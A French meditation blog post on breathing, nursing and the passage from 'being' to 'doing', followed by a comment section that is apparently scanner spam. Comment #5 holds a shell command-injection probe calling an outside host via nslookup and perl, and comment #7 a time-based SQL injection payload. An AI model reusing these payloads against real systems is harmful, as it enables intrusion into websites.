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Faire et être

Faire et être

Faire et être  1er février 2020

Le 15 novembre dernier, après avoir parlé du respir, je vous ai invité à un voyage initiatique dans le FAIRE. Pour commencer son parcours d’indépendance à l’égard de celle qui l’a jusqu’alors couvé, le fœtus doit d’abord apprendre à « ne pas manquer d’air ». C’est sûr qu’il en faut de l’air pour devenir indépendant ! Le cri du cœur : « Respire ! » Il faut être audacieux pour s’abandonner au respir.   Le méditant en sait quelque chose quand on lui dit : cesse d’agiter ton mental ; abandonne-toi à la jouissance de ta respiration ; il n’y a rien d’autre à faire. Jouit du respir et la vie sera là, en soi, simplement. Il faut de la confiance dans ce qui vient naturellement du corps, dans ce qui émerge simplement du soi qui connaît le plaisir profond. S’abandonner au respir.

Quelle confiance aussi quand le bébé met en oeuvre ses capacités naturelles à têter ces boutons de fleur qui lui sont offerts. Magique. Il ne peut plus compter sur le cœur de sa mère pour être nourri par le cordon. Soit ! Son corps connaît le mystère de la tétée. Ses lèvres ne l‘ont pas apprise. La tétée va de soi. Elle fait partie de tout ce qui est donné pour que la vie s’accomplisse, si l’on veut bien s’y abandonner. Paradoxe de la méditation. Dans le non-savoir, le corps connaît, comme par grâce. Dans le non-faire, il se prépare à faire ce qui est nécessaire.

L’embryon, le fœtus ne font rien. Le sujet n’existe pas. Il se prépare au grand Tout de la vie, trop complexe pour être expliqué, trop ajusté à la vie pour se décliner en opérations prescrites. Elle se fait. Transitive. Comme dans s’accueillir. S’accueillir se fait et ne s’énonce pas explicitement. On ne fait pas de la méditation. On s’y adonne. On s’y abandonne.

Après l’initiation au respir et à celle de la tétée, l’indépendance du nourrisson à sa mère va être nécessairement suivie de celle du FAIRE. Manger conduit au FAIRE. On n’y échappe pas. Avant que les jambes n’apprennent à se déplacer pour aller faire, elles accueillent entre elles l’objet qui sort du corps, les fèces. « Fais-ce ? ». Quand, vers l’âge de sept mois, émergera la notion de moi et d’objet, c’est assurément dans cette expérience première que se constituera la différenciation entre moi et le monde. Les choses ne se feront plus toutes seules, dans le creuset de la vie et du soi. C’est le sujet qui fera le monde, ce monde des objets qu’il façonnera de ses désirs.

C’est pourquoi, dans la méditation, suspendre l’agitation, qu’elle soit physique ou mentale, permet d’accéder au soi qui demeure dans le non-faire, le sans objet.

 

 

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Commentaires: 15
  • #1

    pHqghUme (lundi, 16 août 2021 06:19)

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  • #2

    pHqghUme (lundi, 16 août 2021)

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  • #3

    pHqghUme (lundi, 16 août 2021)

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  • #4

    pHqghUme (lundi, 16 août 2021 06:21)

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  • #5

    $(nslookup hitrwfqdnhfwxa5c89.bxss.me||perl -e "gethostbyname('hitrwfqdnhfwxa5c89.bxss.me')") (lundi, 16 août 2021 06:21)

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  • #6

    pHqghUme (lundi, 16 août 2021 06:21)

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  • #7

    pHqghUme (lundi, 16 août 2021)

    -1); waitfor delay '0:0:15' --

  • #8

    pHqghUme (lundi, 16 août 2021 06:22)

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  • #9

    pHqghUme (lundi, 16 août 2021 06:23)

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  • #10

    pHqghUme (lundi, 16 août 2021 06:23)

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  • #11

    pHqghUme (lundi, 16 août 2021 06:24)

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  • #12

    pHqghUme (lundi, 16 août 2021 06:24)

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  • #13

    pHqghUme (lundi, 16 août 2021 06:25)

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    pHqghUme (lundi, 16 août 2021 06:25)

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  • #15

    pHqghUme (lundi, 16 août 2021 06:26)

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